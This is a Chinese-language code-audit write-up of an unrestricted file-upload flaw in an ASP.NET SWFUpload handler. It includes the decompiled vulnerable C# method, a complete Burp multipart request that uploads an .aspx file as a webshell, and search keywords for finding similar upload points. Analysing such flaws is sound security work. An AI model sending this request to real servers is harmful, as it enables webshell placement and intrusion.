简单分析

在一次机缘巧合的情况下,拿到了一份源码,我们找到了plugln下的SWFUpload,显而易见,这里很有可能是一个文件上传的点。
image.png
打开uploadfile.ashx,找到对应的dll和class,拖入dnspy
image.png

首先加载该类的时候先进入processRequest
post值传入UploadType=UploadForumFiles
之后可以看到使用了HttpPostedFile来进行文件上传
image.png

完整的代码如下

  1. private string UploadForumFiles(HttpPostedFile file)
  2. {
  3. string PkID = (string)Public.sink("PkID", MethodType.Post, 130, 0, DataType.Str);
  4. int FromID = (int)Public.sink("FromID", MethodType.Post, 30, 0, DataType.Int);
  5. string FileNo = (string)Public.sink("FileNo", MethodType.Post, 130, 0, DataType.Str);
  6. string reval = "";
  7. bool flag = file == null || file.ContentLength == 0 || string.IsNullOrEmpty(file.FileName);
  8. string result;
  9. if (flag)
  10. {
  11. result = reval;
  12. }
  13. else
  14. {
  15. string pathBase = string.Concat(new object[]
  16. {
  17. "/LocalFiles/CustomForms/files/FromID_",
  18. FromID,
  19. "/PkID_",
  20. PkID,
  21. "/"
  22. });
  23. new iDisk().FolderCreateUrl(pathBase);
  24. string _FileExtend = new StringUtils().GetFileExtends(file.FileName.ToString()).ToLower();
  25. string _FileName = string.Concat(new string[]
  26. {
  27. PkID,
  28. "_",
  29. FileNo,
  30. ".",
  31. _FileExtend
  32. });
  33. string _FileSaveName = pathBase + _FileName;
  34. bool flag2 = iDisk.FileExists(iDisk.MapPath(_FileSaveName));
  35. if (flag2)
  36. {
  37. new iDisk().FileDelete(iDisk.MapPath(_FileSaveName));
  38. }
  39. file.SaveAs(iDisk.MapPath(_FileSaveName));
  40. result = pathBase + _FileName;
  41. }
  42. return result;

接着再次传入的post值为PKID,FromID,FileNo
image.png
之后赋值一个路径为”/LocalFiles/CustomForms/files/FromIDFromID/PkID/PkID/“

接着newiDisk().FolderCreateUrl(pathBase); 创建如上所述的路径的文件夹
image.png
然后fileExtend获取filename文件后缀名,这里没有进行过滤,而是直接获取
image.png
fileName将拼接之前Post的两个参数,拼接成为文件名,如传入的三个参数都为11 ,11 ,11,那么最后得出来的文件名为11_11.asp
image.png
之后进行保存,然后return,因此按道理,应该会返回路径

构造Payload

因此我们可以使用Burp来进行盲payload的测试
image.png
构造几个post值,没什么问题,前四个参数都是上文代码中所需要的参数我们传入进去,而最后一个参数file则是文件上传中必须的file参数
image.png
接下来只需添加一个filename= 和conten-Type即可(这些都是文件上传所必须的格式,至于为什么要选择octet-stream,是因为octet-stream是通用的,当你不知道选择啥type时,可以用它试试)

image.png
image.png

  1. POST /PlugIn/SWFUpload/UploadFile.ashx HTTP/1.1
  2. Host: xxxxx
  3. Cache-Control: max-age=0
  4. Upgrade-Insecure-Requests: 1
  5. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
  6. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  7. Accept-Encoding: gzip, deflate
  8. Accept-Language: zh,zh-TW;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6,th;q=0.5
  9. Cookie: site_825356=site=825356&ip=49.80.188.72; ASP.NET_SessionId=p43oxyxboxte352oaf5fufjp
  10. Connection: close
  11. Content-Type: multipart/form-data; boundary=aaa
  12. Content-Length: 396
  13. --aaa
  14. Content-Disposition: form-data; name="UploadType"
  15. UploadForumFiles
  16. --aaa
  17. Content-Disposition: form-data; name="FromID"
  18. 22
  19. --aaa
  20. Content-Disposition: form-data; name="FileNo"
  21. 22
  22. --aaa
  23. Content-Disposition: form-data; name="PkID"
  24. 22
  25. --aaa
  26. Content-Disposition: form-data; name="file";filename="test.aspx"
  27. Content-Type: application/octet-stream
  28. GIF89a
  29. Webshell
  30. --aaa--

搜索上传点的关键词
httpPostedFile.Save
Directory.CreateDirectory